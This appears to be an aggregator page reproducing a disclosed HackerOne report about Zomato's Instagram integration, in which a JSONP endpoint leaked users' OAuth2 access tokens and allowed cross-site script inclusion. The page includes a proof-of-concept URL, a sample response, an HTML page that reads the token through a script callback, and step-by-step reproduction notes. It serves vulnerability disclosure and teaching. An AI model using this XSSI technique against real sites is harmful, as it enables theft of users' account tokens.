Skip to content
Info disclosure Disclosed report Intermediate

Instagram OAuth2 Implementation Leaks Access Token; Allows for Cross-Site Script Inclusion (XSSI)

The Instagram OAuth2 access token issued to Zomato was exposed in a JSONP response from a server-side endpoint, and the endpoint lacked protection against cross-site script inclusion. An attacker could embed the endpoint as a script on a malicious page and read the victim's Instagram access token.

dejavuln Follow

Originally disclosed on HackerOne

  • Triaged in 19 days
  • Fixed in 19 days
  • Disclosed after 41 days

Once a user connects his Zomato account to Instagram (via OAuth2), the page https://www.zomato.com/php/instagram_tag_relay leaks the Instagram OAuth2 Access Token issued to Zomato:

PoC: https://www.zomato.com/php/instagram_tag_relay?callback=aaabc

Result (personal data x'ed):

HTTP/1.1 200 OK
[...]
Content-Type: text/html; charset=UTF-8
[...]
aaabc({"data":[],"relay_summary":{"fresh_img_request_ongoing":false,"new_imgs_fetched":true},"pagination":[],"tag":"zomato","user":{"user_id":"3184xxxx","access_token":"3184371440.87c9ab8.xxxxxxxxxxxxxxxxxxxx","username":"xxxxxxx","profile_picture":"https:\/\/igcdn-photos-e-a.akamaihd.net\/hphotos-ak-xft1\/t51.2885-19\/11906329_960xxxxxxxxxxxxx.jpg","email":"[email protected]"},"request":{"callback":"aaabc"}})

This is the result of a design issue: Zomato is using the OAuth2 Server-Side Flow where an Authorization Code is exchanged for an Access Token. The exchange happens server-side; there should be no need to later expose the Access Token to the end-user as it significantly increases the risk of Access Token leakage.

Due to a separate vulnerability, gaining access to this Access Token becomes indeed quite easy. An attacker might craft an HTML page, embed the vulnerable page as a script and receive the page content at the function referenced via the callback parameter.

PoC:

<html>
<script>
function aaabc(s)
{
alert(JSON.stringify(s));
}
</script>

<script src="https://www.zomato.com/php/instagram_tag_relay?callback=aaabc"></script>

</html>

Result: F93245

Please note these are actually two separate issues:

  1. The OAuth2 Access Token should not be exposed to the end-user in the first place.
  2. XSSI / Cross-Site Script Inclusion: sensitive data should not be made accessible in a way that allows it to be processed by a potentially malicious web page.

Attachments

instagram-oauth2-atleak.png
instagram-oauth2-atleak.png From the original on HackerOne

The original report as published on HackerOne, by dejavuln. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a design flaw where the server-side OAuth2 flow unnecessarily exposed the access token to the client, combined with a JSONP endpoint that allowed cross-site script inclusion.

Impact

An attacker could obtain a victim's Instagram access token, which increases the risk of token leakage.

What the attacker needed

Victim has connected Zomato to Instagram; victim visits attacker's page

The fix

The access token should not be exposed to the end-user, and sensitive data should not be accessible in a way that allows cross-site script inclusion.

How it was found

  1. Connect a Zomato account to Instagram via OAuth2.
  2. Request the instagram_tag_relay endpoint with a callback parameter.
  3. Observe the Instagram access token in the JSONP response.
  4. Create a malicious HTML page that includes the endpoint as a script and defines the callback function.
  5. Visit the malicious page to receive the token.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you connect two websites, one site gets a secret key (an access token) that lets it act on your behalf. Here, that secret key was sent back to your browser in a response that any other website could load as a script. A malicious page could then read the key and use it to access your Instagram account.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by dejavuln

View all

1 more disclosed report, best first.

More from Eternal

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.